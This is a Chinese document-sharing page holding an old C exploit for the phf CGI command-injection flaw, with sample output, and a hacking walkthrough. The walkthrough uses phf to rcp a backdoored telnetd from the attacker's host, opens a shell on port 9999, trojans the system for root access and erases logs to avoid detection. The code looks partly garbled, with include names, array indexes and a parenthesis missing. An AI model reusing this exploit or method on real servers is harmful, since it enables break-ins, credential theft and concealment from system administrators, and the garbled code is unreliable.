为了正常的体验网站,请在浏览器设置里面开启Javascript功能!

如何获取passwd密码档yu

2017-10-07 7页 doc 21KB 25阅读

用户头像

is_281650

暂无简介

举报
如何获取passwd密码档yu如何获取passwd密码档yu phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to reme...
如何获取passwd密码档yu
如何获取passwd密码档yu phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1] != '') { if (argv[1] == 32) strcat(command, "%20"; else { sprintf(j, "%c", argv[1]); strcat(command, j); } ++i; } strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s ", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket ", argv[0]); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection ", argv[0]); exit(1); } sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s ", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); } -------- cut here 使用举例: bash% phf id xxx.org ------

Query Results

/usr/local/bin/ph -m alias=X id

 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) 
资料
,这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp(这是我最喜欢用的)。为了使用这个命 令,你需要对本地主机进行设置。(如果本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该简单而不易被注意(如:test);其次,把目标主机名写入本地 主机的/etc/host.equiv中;接着就是在/etc/inetd.conf中必须有shell行;最後,在用户(test)根目录下建立含有目标主机名和httpd用户的.rhost文件。如下: /etc/hosts.equiv: h++p://www.host.to.hack/ /etc/inetd.conf: shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L ~test/.rhosts: h++p://www.host.to.hack/ nobody 好。一旦一切都设置好了,便可以从远程主机上获取资料了。 我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法被传送的是一个经过修改 的in.telnetd,它被改为在「debug」方式下启动,「debug」方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。该in.telnetd允许在端口9999接受任意多的连接和执行shell。 因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录, 并确保可读。然後执行: phf 'rcp test@my.ip.address:bindwarez /tmp' h++p://www.host.to.hack/ 在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:rcp -fbindwarez)...当phf执行完後,bindwarez会被复制到远程主机上的/tmp目录下,於是你便可以执行这个文件并远程登录到端口9999。 如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能获得nobody权限,需要通过系统的其它漏洞去「黑」root用户。我常常发现这并不困难,因为系统管理员往往认 为没有人会在WWW服务器上运行shell,因而没有必要设置安全系统。很显示,他们并不了 解自己的系统是否存在phf缺陷。 在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让系统管理 员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。 最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。 另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。 这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-)) L8s QuantumG
/
本文档为【如何获取passwd密码档yu】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。 本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。 网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。

历史搜索

    清空历史搜索